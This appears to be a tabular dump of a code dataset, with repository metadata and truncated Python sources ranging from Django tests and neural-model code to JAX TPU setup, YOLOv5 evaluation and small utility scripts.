hexsha stringlengths 40 40 | size int64 3 1.03M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 972 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 972 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 972 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 3 1.03M | avg_line_length float64 1.13 941k | max_line_length int64 2 941k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e44fdf74b382389552fc4dda6ec2467a8d9f3acd | 8,335 | py | Python | src/readscreen.py | UserName21M/KS2022-Program-Glazunov | 0b7640032df9690849d6fa33cbcd32c28e37f90d | [
"Apache-2.0"
] | null | null | null | src/readscreen.py | UserName21M/KS2022-Program-Glazunov | 0b7640032df9690849d6fa33cbcd32c28e37f90d | [
"Apache-2.0"
] | null | null | null | src/readscreen.py | UserName21M/KS2022-Program-Glazunov | 0b7640032df9690849d6fa33cbcd32c28e37f90d | [
"Apache-2.0"
] | null | null | null | from drawengine import *
import catalog
class Readscreen:
def __init__(self, tale):
self.window = Singleton.window
self.parser = Singleton.parser
self.color = [Color(220, 130, 180), Color(250, 200, 230)]
self.font = pygame.font.SysFont('Comic Sans MS', 15)
self.... | 40.658537 | 158 | 0.515537 |
b276463dd64f319b68313ed4b2b003aab2a4747a | 7,631 | py | Python | zsolozsma/tests/test_schedule.py | molnarm/liturgia.tv | 3c78de6dcec65262ae9e272188dbda92f71a7c15 | [
"MIT"
] | 4 | 2020-05-04T10:52:35.000Z | 2020-12-03T22:01:09.000Z | zsolozsma/tests/test_schedule.py | molnarm/liturgia.tv | 3c78de6dcec65262ae9e272188dbda92f71a7c15 | [
"MIT"
] | 27 | 2021-02-18T19:41:24.000Z | 2021-11-23T05:01:00.000Z | zsolozsma/tests/test_schedule.py | molnarm/zsolozsma | a260af574b38687cc5955bbbf76caabc779f09c4 | [
"MIT"
] | null | null | null | from datetime import datetime, timedelta
from django.test import TestCase
from zsolozsma import queries
from zsolozsma.models import *
class ScheduleTests(TestCase):
def setUp(self):
self.city1 = City.objects.create(name='City 1')
self.city2 = City.objects.create(name='City 2')
... | 45.694611 | 80 | 0.507011 |
dc1242f5bc72f70097f500a70a7c0aa092503c2c | 12,177 | py | Python | PBLIF.py | DavidCromp/MPS_Antidromic_STDP | 2941f7ad90fbd64b9b81de7fc33522365da398b4 | [
"MIT"
] | null | null | null | PBLIF.py | DavidCromp/MPS_Antidromic_STDP | 2941f7ad90fbd64b9b81de7fc33522365da398b4 | [
"MIT"
] | null | null | null | PBLIF.py | DavidCromp/MPS_Antidromic_STDP | 2941f7ad90fbd64b9b81de7fc33522365da398b4 | [
"MIT"
] | null | null | null | from math import pi, exp,sin
import numpy as np
def inj(t):
return ((t>250 and t<750) or (t>3500 and t<5500))\
*0.000015#*(sin(t/(2*pi)*0.5+1))
class PBLIF:
"""A Pulse Based Leaky Integrate and Fire model"""
def __init__(self):
# Initial State of variables
# t, Vd, Vs
self.... | 37.352761 | 141 | 0.45783 |
b788774f6a496165d21613f15abd8bedfa885a4e | 3,776 | py | Python | jax/_src/cloud_tpu_init.py | darshitsharma/jax | 90f926ac6b4962cfc23779b44e04202e22373f4d | [
"Apache-2.0"
] | 2 | 2021-09-27T06:33:20.000Z | 2022-01-08T10:03:33.000Z | jax/_src/cloud_tpu_init.py | darshitsharma/jax | 90f926ac6b4962cfc23779b44e04202e22373f4d | [
"Apache-2.0"
] | null | null | null | jax/_src/cloud_tpu_init.py | darshitsharma/jax | 90f926ac6b4962cfc23779b44e04202e22373f4d | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 32.834783 | 82 | 0.684587 |
0f6342aa62ac02b57610e7a0770e98ac22c3fd57 | 390 | py | Python | pandas/tests/io/sas/test_sas.py | robbuckley/pandas | aa7cb0138da6e20b356e8d9ae1f184e78a04189f | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | pandas/tests/io/sas/test_sas.py | robbuckley/pandas | aa7cb0138da6e20b356e8d9ae1f184e78a04189f | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | pandas/tests/io/sas/test_sas.py | robbuckley/pandas | aa7cb0138da6e20b356e8d9ae1f184e78a04189f | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | null | null | null | import pytest
from pandas.compat import StringIO
from pandas import read_sas
class TestSas(object):
def test_sas_buffer_format(self):
# see gh-14947
b = StringIO("")
msg = ("If this is a buffer object rather than a string "
"name, you must specify a format string")
... | 21.666667 | 65 | 0.633333 |
01e3727da95a7367f41b7450467b8cf4844cacbb | 720 | py | Python | tests/test_euclidean_distance_from_label_centroid_map.py | elsandal/pyclesperanto_prototype | 7bda828813b86b44b63d73d5e8f466d9769cded1 | [
"BSD-3-Clause"
] | 64 | 2020-03-18T12:11:22.000Z | 2022-03-31T08:19:18.000Z | tests/test_euclidean_distance_from_label_centroid_map.py | elsandal/pyclesperanto_prototype | 7bda828813b86b44b63d73d5e8f466d9769cded1 | [
"BSD-3-Clause"
] | 148 | 2020-05-14T06:14:11.000Z | 2022-03-26T15:02:31.000Z | tests/test_euclidean_distance_from_label_centroid_map.py | elsandal/pyclesperanto_prototype | 7bda828813b86b44b63d73d5e8f466d9769cded1 | [
"BSD-3-Clause"
] | 16 | 2020-05-31T00:53:44.000Z | 2022-03-23T13:20:57.000Z | import pyclesperanto_prototype as cle
import numpy as np
def test_euclidean_distance_from_label_centroid_map():
labels = cle.push(np.asarray([
[1, 1, 1, 2],
[1, 1, 1, 2],
[1, 1, 1, 2],
[2, 2, 2, 2]
]))
reference = cle.push(np.asarray([
[1.4142135, 1, 1.4142135, 2.3... | 23.225806 | 67 | 0.593056 |
0dcee3fb3280db406089e863d87edeaa552bed55 | 4,052 | py | Python | shell/lab1.py | utep-cs-systems-courses/os-shell-gavinbaechle | 71a4957b22a003894743a8564317c2275a7af902 | [
"BSD-3-Clause"
] | null | null | null | shell/lab1.py | utep-cs-systems-courses/os-shell-gavinbaechle | 71a4957b22a003894743a8564317c2275a7af902 | [
"BSD-3-Clause"
] | null | null | null | shell/lab1.py | utep-cs-systems-courses/os-shell-gavinbaechle | 71a4957b22a003894743a8564317c2275a7af902 | [
"BSD-3-Clause"
] | null | null | null | #r/bin/env python3
import os, sys, re
def inputHandler(args):
wait_child = True
if len(args) == 0: #checks if there is an arguement
return
if "exit" in args:
sys.exit(0)
# Here we are changing the directory
elif "cd" == args[0]:
try:... | 27.564626 | 88 | 0.529615 |
e979fd7cb45f335eebef2014e0e5da308f10ca62 | 2,420 | py | Python | markdownWriter/markdownWriter.py | GonzaloRomeroR/markdown-generator | 60f44dcdc5400189c8bfc678b170922f00848e5e | [
"MIT"
] | null | null | null | markdownWriter/markdownWriter.py | GonzaloRomeroR/markdown-generator | 60f44dcdc5400189c8bfc678b170922f00848e5e | [
"MIT"
] | null | null | null | markdownWriter/markdownWriter.py | GonzaloRomeroR/markdown-generator | 60f44dcdc5400189c8bfc678b170922f00848e5e | [
"MIT"
] | null | null | null | class MarkdownWriter:
def __init__(self):
self.bold = False
self.italic = False
self.code = False
self.autospacing = True
def openFile(self, fileName):
self.file = open(fileName, 'w')
def writeTitle(self, title, size):
title = self.styleWords(title)
... | 24.2 | 57 | 0.497521 |
f2ff108f85defca6a0f4ba79407bea609f4d6475 | 213 | py | Python | twisted/test/process_signal.py | ioggstream/twisted | 34f9b1e3f097685839000c656332c66ee85be5d8 | [
"Unlicense",
"MIT"
] | 267 | 2015-03-22T15:23:48.000Z | 2022-03-05T21:57:34.000Z | twisted/test/process_signal.py | ioggstream/twisted | 34f9b1e3f097685839000c656332c66ee85be5d8 | [
"Unlicense",
"MIT"
] | 133 | 2015-03-21T15:13:43.000Z | 2021-12-11T23:37:58.000Z | twisted/test/process_signal.py | ioggstream/twisted | 34f9b1e3f097685839000c656332c66ee85be5d8 | [
"Unlicense",
"MIT"
] | 119 | 2015-04-28T16:07:10.000Z | 2022-03-18T03:49:48.000Z | import sys, signal
signal.signal(signal.SIGINT, signal.SIG_DFL)
if getattr(signal, "SIGHUP", None) is not None:
signal.signal(signal.SIGHUP, signal.SIG_DFL)
print 'ok, signal us'
sys.stdin.read()
sys.exit(1)
| 23.666667 | 48 | 0.741784 |
6642f49d17e5b917a19843ab85c6b385cf9306f9 | 3,862 | py | Python | tests/test_luv.py | facelessuser/coloraide | c273cb652f75941b95ad8ddc8becc9873b97f085 | [
"MIT"
] | 30 | 2020-10-11T05:47:51.000Z | 2022-03-22T06:05:33.000Z | tests/test_luv.py | facelessuser/coloraide | c273cb652f75941b95ad8ddc8becc9873b97f085 | [
"MIT"
] | 139 | 2020-10-20T15:28:57.000Z | 2022-03-31T23:44:18.000Z | tests/test_luv.py | facelessuser/coloraide | c273cb652f75941b95ad8ddc8becc9873b97f085 | [
"MIT"
] | 3 | 2021-08-29T13:25:12.000Z | 2021-12-22T19:58:11.000Z | """Test Luv library."""
import unittest
from . import util
from coloraide import Color
class TestLuvInputOutput(util.ColorAsserts, unittest.TestCase):
"""Test Luv."""
def test_input_raw(self):
"""Test raw input."""
self.assertColorEqual(Color("luv", [20, 10, -30]), Color('color(--luv 20% 10 ... | 31.145161 | 198 | 0.555153 |
341faf50dca4857c37527c1c40b676f716324865 | 17,274 | py | Python | django_harmonization/HeartData/migrate_functions.py | chrisroederucdenver/Kao-Harmonization-Release | 1a90db58cd378244a8aba138e27f049376045729 | [
"Apache-2.0"
] | null | null | null | django_harmonization/HeartData/migrate_functions.py | chrisroederucdenver/Kao-Harmonization-Release | 1a90db58cd378244a8aba138e27f049376045729 | [
"Apache-2.0"
] | null | null | null | django_harmonization/HeartData/migrate_functions.py | chrisroederucdenver/Kao-Harmonization-Release | 1a90db58cd378244a8aba138e27f049376045729 | [
"Apache-2.0"
] | null | null | null | '''
Copyright 2017 The Regents of the University of Colorado
Licensed under the Apache License, Version 2.0 (the "License")
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by appl... | 38.730942 | 230 | 0.644031 |
e51a5ed054503cf08f687903b754c4ee5c8d59c8 | 18,399 | py | Python | test.py | akshatapagey28/Waste-Material-Recognizer | 78612d779cb7751bd9f3f9717b0c61fbe4015b24 | [
"MIT"
] | null | null | null | test.py | akshatapagey28/Waste-Material-Recognizer | 78612d779cb7751bd9f3f9717b0c61fbe4015b24 | [
"MIT"
] | null | null | null | test.py | akshatapagey28/Waste-Material-Recognizer | 78612d779cb7751bd9f3f9717b0c61fbe4015b24 | [
"MIT"
] | null | null | null | """Test a trained YOLOv5 model accuracy on a custom dataset
Usage:
$ python path/to/test.py --data coco128.yaml --weights yolov5s.pt --img 640
"""
import argparse
import json
import os
import sys
from pathlib import Path
from threading import Thread
import numpy as np
import torch
import yaml
fro... | 50.133515 | 121 | 0.575357 |
0807e6801a24116b10f78baf12d2fe6616b27c12 | 285 | py | Python | 17. Chapter_/redis_choc_supply.py | Mikma03/Python_Bill_Lubanovic_BookCodes | 8b5b228bb500a08af645a1db6f7c5f33ef5f0512 | [
"MIT"
] | null | null | null | 17. Chapter_/redis_choc_supply.py | Mikma03/Python_Bill_Lubanovic_BookCodes | 8b5b228bb500a08af645a1db6f7c5f33ef5f0512 | [
"MIT"
] | null | null | null | 17. Chapter_/redis_choc_supply.py | Mikma03/Python_Bill_Lubanovic_BookCodes | 8b5b228bb500a08af645a1db6f7c5f33ef5f0512 | [
"MIT"
] | null | null | null | import redis
import random
from time import sleep
conn = redis.Redis()
varieties = ['mleczna', 'gorzka', 'karmelowa', 'orzechowa']
conveyor = 'czekolady'
while True:
seconds = random.random()
sleep(seconds)
piece = random.choice(varieties)
conn.rpush(conveyor, piece)
| 21.923077 | 59 | 0.705263 |
ea289e499c14f108b483267c19c5836fe6bcf8f2 | 357 | py | Python | taylor_series.py | euneestella/numerical-analysis-python | 9679c943a60854f40980fbc3f4d2c82d6bfeb995 | [
"MIT"
] | null | null | null | taylor_series.py | euneestella/numerical-analysis-python | 9679c943a60854f40980fbc3f4d2c82d6bfeb995 | [
"MIT"
] | 3 | 2020-09-25T14:34:26.000Z | 2020-10-17T16:36:25.000Z | taylor_series.py | euneestella/numerical-analysis-python | 9679c943a60854f40980fbc3f4d2c82d6bfeb995 | [
"MIT"
] | null | null | null | import math
def taylor_series1(x, degree):
exponential = 0
for i in range(degree + 1):
exponential += x**i/math.factorial(i)
return exponential
def taylor_series2(x, degree):
exponential = 0
x = x*(-1) # remove negative sign
for i in range(degree + 1):
exponential += x**i/math.... | 25.5 | 45 | 0.638655 |
da805ca3f1a7d360510b88e6cf027978843f3625 | 6,977 | py | Python | headcannon.py | disasterbyte/HeadCannon | 46b59dfbb7e481ccdb9457b18ab08c88e6f72fb0 | [
"MIT"
] | 1 | 2019-08-24T13:05:12.000Z | 2019-08-24T13:05:12.000Z | headcannon.py | disasterbyte/HeadCannon | 46b59dfbb7e481ccdb9457b18ab08c88e6f72fb0 | [
"MIT"
] | null | null | null | headcannon.py | disasterbyte/HeadCannon | 46b59dfbb7e481ccdb9457b18ab08c88e6f72fb0 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import sys
import uuid
import time
import asyncio
import argparse
import requests
from random import choice
from colorama import Fore, Style, init
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
from concurrent.futures import ThreadPoolExecutor
banne... | 42.542683 | 148 | 0.603411 |
7d492325c23b5555dc0e02ca4b4a7c9305ec3e1a | 734 | py | Python | scripts/startup_herb.py | papallas/or_urdf | 31b3b2f1efd4a504c16df83910105643c2af031a | [
"BSD-3-Clause"
] | 21 | 2015-06-03T08:19:06.000Z | 2022-02-11T17:39:28.000Z | scripts/startup_herb.py | papallas/or_urdf | 31b3b2f1efd4a504c16df83910105643c2af031a | [
"BSD-3-Clause"
] | 28 | 2015-03-23T15:54:44.000Z | 2020-02-29T17:28:33.000Z | scripts/startup_herb.py | papallas/or_urdf | 31b3b2f1efd4a504c16df83910105643c2af031a | [
"BSD-3-Clause"
] | 28 | 2015-04-17T11:47:21.000Z | 2021-11-23T03:13:41.000Z | #!/usr/bin/env python
#
# Loads a URDF to test the loader.
#
import os;
# Get this script path (in or_urdf) and add it to the openrave path
or_urdf_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lib')
or_plugin_path = os.getenv('OPENRAVE_PLUGINS', '')
os.environ['OPENRAVE_PLUGINS'] = os.pathsep.join(... | 34.952381 | 104 | 0.768392 |
6db1d529fb366ce6b3cd7bdc7cbefc9b53cad844 | 4,168 | py | Python | homeassistant/components/amberelectric/coordinator.py | colemamd/home-assistant | 718f8d8bf796e9bb7cbdc29a7f2d19d79e9f5927 | [
"Apache-2.0"
] | 1 | 2022-03-21T01:52:23.000Z | 2022-03-21T01:52:23.000Z | homeassistant/components/amberelectric/coordinator.py | ehendrix23/home-assistant | 0044fa9fb9794dad5290a431b5f339640748e477 | [
"Apache-2.0"
] | 75 | 2020-08-05T07:22:42.000Z | 2022-03-23T21:54:57.000Z | homeassistant/components/amberelectric/coordinator.py | colemamd/home-assistant | 718f8d8bf796e9bb7cbdc29a7f2d19d79e9f5927 | [
"Apache-2.0"
] | null | null | null | """Amber Electric Coordinator."""
from __future__ import annotations
from datetime import timedelta
from typing import Any
from amberelectric import ApiException
from amberelectric.api import amber_api
from amberelectric.model.actual_interval import ActualInterval
from amberelectric.model.channel import ChannelType
f... | 37.54955 | 108 | 0.683781 |
2575f74c30355a567d1f2ced3029af5571029521 | 734 | py | Python | script.py | Ragug/photo-editor | 3045b0d7a289e1da09ad8fe61744e66916a89cf2 | [
"MIT"
] | null | null | null | script.py | Ragug/photo-editor | 3045b0d7a289e1da09ad8fe61744e66916a89cf2 | [
"MIT"
] | null | null | null | script.py | Ragug/photo-editor | 3045b0d7a289e1da09ad8fe61744e66916a89cf2 | [
"MIT"
] | null | null | null | class script(object):
START_MSG = """ <b>Hi {}
I'm a Image Editor Bot which Supports various modes
For more click help....</b>"""
HELP_MSG = """Hi, Follow these Steps..
<code>🌀 Send me any Image to Edit..</code>
<code>🌀 Select the Corresponding mode that you need</code>
<code>🌀 Your Edited Image will b... | 27.185185 | 99 | 0.653951 |
c68a81cc235de75ee52c5e12fa2d32b55889f5e1 | 735 | py | Python | userarea/forms/keygroup.py | eieste/SSHock | 04bcbb2593e104c0ecb1b5dc9b79b19b4681c96b | [
"MIT"
] | null | null | null | userarea/forms/keygroup.py | eieste/SSHock | 04bcbb2593e104c0ecb1b5dc9b79b19b4681c96b | [
"MIT"
] | 2 | 2019-12-13T08:06:34.000Z | 2020-06-05T19:46:47.000Z | userarea/forms/keygroup.py | eieste/SSHock | 04bcbb2593e104c0ecb1b5dc9b79b19b4681c96b | [
"MIT"
] | null | null | null | from django import forms
from superarea.models import PublishGroup
from userarea.models import KeyGroup
class KeyGroupCreateForm(forms.ModelForm):
class Meta:
fields = ("display_name",)
model = KeyGroup
def clean(self):
self.cleaned_data['name'] = self.cleaned_data["display_name"]
... | 29.4 | 105 | 0.770068 |
5d81c228868b22db6dbca44b829820e764d173c9 | 5,657 | py | Python | bilalcoin/users/views.py | jphaser/bilalcoin | 31d8b466912e009c31615b0b1df1afe68ab4bdb8 | [
"MIT"
] | null | null | null | bilalcoin/users/views.py | jphaser/bilalcoin | 31d8b466912e009c31615b0b1df1afe68ab4bdb8 | [
"MIT"
] | 1 | 2022-03-31T03:16:16.000Z | 2022-03-31T03:16:16.000Z | bilalcoin/users/views.py | jphaser/bilalcoin | 31d8b466912e009c31615b0b1df1afe68ab4bdb8 | [
"MIT"
] | null | null | null | from __future__ import absolute_import
import requests
from django.conf import settings
from django.contrib import messages
from django.contrib.auth import get_user_model
from django.contrib.auth.mixins import LoginRequiredMixin
from django.contrib.messages.views import SuccessMessageMixin
from django.core.mail import... | 34.284848 | 162 | 0.680219 |
a39ba18e256682f836ba55e07629a3a054229a06 | 26,490 | py | Python | hpcinstall.py | NCAR/HPCinstall | e70e984305bfc6c54725601bb14ce5f499e65bc9 | [
"BSD-3-Clause"
] | 5 | 2017-09-15T22:25:15.000Z | 2019-04-08T22:44:00.000Z | hpcinstall.py | NCAR/HPCinstall | e70e984305bfc6c54725601bb14ce5f499e65bc9 | [
"BSD-3-Clause"
] | 15 | 2017-03-08T21:42:19.000Z | 2019-04-22T20:04:26.000Z | hpcinstall.py | NCAR/HPCinstall | e70e984305bfc6c54725601bb14ce5f499e65bc9 | [
"BSD-3-Clause"
] | 4 | 2017-05-02T15:36:25.000Z | 2022-03-29T19:39:57.000Z | #!/usr/bin/env python
import argparse, os, stat, shutil, sys, subprocess, yaml, datetime, re, glob
from collections import namedtuple, OrderedDict
import tee, hashdir
import blessed
term = blessed.Terminal()
HPCi_log = "hpci.main.log"
env_log = "hpci.env.log"
module_log = "hpci.modules.log"
config_options = {'list_of_... | 46.719577 | 160 | 0.638014 |
07a6b3ffeb25cfc25463e7fad9472a0b77d3c65e | 314 | py | Python | HelloWorldFileListAndLoad.py | jhbrito/HelloWorlds | 7e2247ca7f312a516ce6a5054913d59e2f1de0f9 | [
"MIT"
] | 6 | 2020-02-14T15:18:14.000Z | 2022-02-22T15:40:33.000Z | HelloWorldFileListAndLoad.py | jhbrito/HelloWorlds | 7e2247ca7f312a516ce6a5054913d59e2f1de0f9 | [
"MIT"
] | null | null | null | HelloWorldFileListAndLoad.py | jhbrito/HelloWorlds | 7e2247ca7f312a516ce6a5054913d59e2f1de0f9 | [
"MIT"
] | null | null | null | import os
import PIL.Image as PImage
import matplotlib.pyplot as plt
pasta = "membrane/train/image"
list_of_files = os.scandir(pasta)
for file in list_of_files:
file_path = os.path.join(pasta, file.name)
image = PImage.open(file_path)
plt.imshow(image, cmap=plt.cm.gray)
plt.show()
print("End")
| 20.933333 | 46 | 0.72293 |
7819c220f6769efa33d8e78f9c4b3bb1f4219fff | 1,589 | py | Python | api/api/serializers.py | WadeBarnes/representation-grant-app | 8f85b9664dddff220df5f5a5dc5aa538561d806f | [
"Apache-2.0"
] | null | null | null | api/api/serializers.py | WadeBarnes/representation-grant-app | 8f85b9664dddff220df5f5a5dc5aa538561d806f | [
"Apache-2.0"
] | null | null | null | api/api/serializers.py | WadeBarnes/representation-grant-app | 8f85b9664dddff220df5f5a5dc5aa538561d806f | [
"Apache-2.0"
] | null | null | null | """
REST API Documentation for Family Law Act
OpenAPI spec version: v1
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
... | 25.629032 | 76 | 0.64506 |
8e3243b42d2b460f5a017eae4175d3d15d233d15 | 9,980 | py | Python | libfmp/b/b_sonification.py | arfon/libfmp | 86f39a323f948a5f104f768442359e93620b2bab | [
"MIT"
] | 55 | 2020-12-14T08:33:10.000Z | 2022-03-22T16:36:41.000Z | libfmp/b/b_sonification.py | arfon/libfmp | 86f39a323f948a5f104f768442359e93620b2bab | [
"MIT"
] | 6 | 2021-06-25T09:11:29.000Z | 2021-12-17T13:55:19.000Z | libfmp/b/b_sonification.py | arfon/libfmp | 86f39a323f948a5f104f768442359e93620b2bab | [
"MIT"
] | 8 | 2021-06-30T08:34:38.000Z | 2022-01-11T15:59:17.000Z | """
Module: libfmp.b.b_sonification
Author: Meinard Mueller, Tim Zunner
License: The MIT license, https://opensource.org/licenses/MIT
This file is part of the FMP Notebooks (https://www.audiolabs-erlangen.de/FMP).
"""
import numpy as np
def list_to_chromagram(note_list, num_frames, frame_rate):
"""Create a chro... | 40.241935 | 117 | 0.613327 |
0d14eeaabf35bc5d4ff2647a6addbbb2262be520 | 4,120 | py | Python | mava/utils/lp_utils.py | sash-a/Mava | 976d0863e058fd92f066d8a8fabe2f5e2f3f60ce | [
"Apache-2.0"
] | 337 | 2021-07-06T09:09:56.000Z | 2022-03-30T21:42:37.000Z | mava/utils/lp_utils.py | sash-a/Mava | 976d0863e058fd92f066d8a8fabe2f5e2f3f60ce | [
"Apache-2.0"
] | 125 | 2021-07-12T11:38:37.000Z | 2022-03-30T19:22:53.000Z | mava/utils/lp_utils.py | sash-a/Mava | 976d0863e058fd92f066d8a8fabe2f5e2f3f60ce | [
"Apache-2.0"
] | 43 | 2021-07-06T19:44:37.000Z | 2022-03-07T09:29:07.000Z | # python3
# Copyright 2021 InstaDeep Ltd. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 33.225806 | 86 | 0.667233 |
0300847923582421da826aab2c40f33b1c944e7a | 1,714 | py | Python | var/spack/repos/builtin/packages/opus/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 2 | 2018-11-27T03:39:44.000Z | 2021-09-06T15:50:35.000Z | var/spack/repos/builtin/packages/opus/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 1 | 2019-01-11T20:11:52.000Z | 2019-01-11T20:11:52.000Z | var/spack/repos/builtin/packages/opus/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 1 | 2020-10-14T14:20:17.000Z | 2020-10-14T14:20:17.000Z | # Copyright 2013-2018 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class Opus(AutotoolsPackage):
"""Opus is a totally open, royalty-free, highly versatile audio co... | 46.324324 | 77 | 0.687865 |
e4416677b9f1141184c6eca201978aacd9cf5679 | 7,447 | py | Python | doc/source/conf.py | openstack/i18n | 315da907d845f4d582a448351b1678ee2bb23ad1 | [
"Apache-2.0"
] | 19 | 2015-11-09T21:46:40.000Z | 2021-02-01T15:16:36.000Z | doc/source/conf.py | openstack/i18n | 315da907d845f4d582a448351b1678ee2bb23ad1 | [
"Apache-2.0"
] | 4 | 2016-08-04T15:35:57.000Z | 2021-09-24T06:32:43.000Z | doc/source/conf.py | openstack/i18n | 315da907d845f4d582a448351b1678ee2bb23ad1 | [
"Apache-2.0"
] | 4 | 2016-08-04T13:36:59.000Z | 2019-08-05T11:28:31.000Z | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the... | 34.004566 | 79 | 0.728347 |
75cbeb9bee7984d77b9ee71aeefbbfcdb056f126 | 23,662 | py | Python | apps/log_measure/handlers/metrics.py | qqqqqie/bk-log | 1765f1901aafaa6fb6a57b8db5d35dd32b3cb5c1 | [
"MIT"
] | null | null | null | apps/log_measure/handlers/metrics.py | qqqqqie/bk-log | 1765f1901aafaa6fb6a57b8db5d35dd32b3cb5c1 | [
"MIT"
] | null | null | null | apps/log_measure/handlers/metrics.py | qqqqqie/bk-log | 1765f1901aafaa6fb6a57b8db5d35dd32b3cb5c1 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making BK-LOG 蓝鲸日志平台 available.
Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved.
BK-LOG 蓝鲸日志平台 is licensed under the MIT License.
License for BK-LOG 蓝鲸日志平台:
------------------------------------------------... | 36.856698 | 120 | 0.561237 |
20003b44d4a56c655dc208fa8e485b7423255354 | 3,621 | py | Python | Search_result/srr5.py | tanayz/Kaggle | 0dabcf5ccc2432cecd12f91fba9dfda64dc1afdd | [
"Apache-2.0"
] | null | null | null | Search_result/srr5.py | tanayz/Kaggle | 0dabcf5ccc2432cecd12f91fba9dfda64dc1afdd | [
"Apache-2.0"
] | null | null | null | Search_result/srr5.py | tanayz/Kaggle | 0dabcf5ccc2432cecd12f91fba9dfda64dc1afdd | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Thu Jul 2 17:39:57 2015
@author: tanay
"""
from sklearn.ensemble import RandomForestClassifier,GradientBoostingClassifier
from sklearn import pipeline, metrics, grid_search
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.decomposition import TruncatedSVD... | 42.104651 | 260 | 0.67799 |
82c9e48a497356262b95f37312dffff6546221d1 | 24,507 | py | Python | qa/rpc-tests/fundrawtransaction.py | Kangmo/bitcoin | a9149688f87cb790a600400abd9af72c3ee0c312 | [
"MIT"
] | null | null | null | qa/rpc-tests/fundrawtransaction.py | Kangmo/bitcoin | a9149688f87cb790a600400abd9af72c3ee0c312 | [
"MIT"
] | null | null | null | qa/rpc-tests/fundrawtransaction.py | Kangmo/bitcoin | a9149688f87cb790a600400abd9af72c3ee0c312 | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
# Copyright (c) 2014-2015 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
# Creat... | 40.307566 | 223 | 0.555066 |
766ff54b42078ba645fd047c4f96ec0e618631df | 4,269 | py | Python | z2/part2/interactive/jm/random_normal_1/253914328.py | kozakusek/ipp-2020-testy | 09aa008fa53d159672cc7cbf969a6b237e15a7b8 | [
"MIT"
] | 1 | 2020-04-16T12:13:47.000Z | 2020-04-16T12:13:47.000Z | z2/part2/interactive/jm/random_normal_1/253914328.py | kozakusek/ipp-2020-testy | 09aa008fa53d159672cc7cbf969a6b237e15a7b8 | [
"MIT"
] | 18 | 2020-03-06T17:50:15.000Z | 2020-05-19T14:58:30.000Z | z2/part2/interactive/jm/random_normal_1/253914328.py | kozakusek/ipp-2020-testy | 09aa008fa53d159672cc7cbf969a6b237e15a7b8 | [
"MIT"
] | 18 | 2020-03-06T17:45:13.000Z | 2020-06-09T19:18:31.000Z | from part1 import (
gamma_board,
gamma_busy_fields,
gamma_delete,
gamma_free_fields,
gamma_golden_move,
gamma_golden_possible,
gamma_move,
gamma_new,
)
"""
scenario: test_random_actions
uuid: 253914328
"""
"""
random actions, total chaos
"""
board = gamma_new(8, 4, 6, 2)
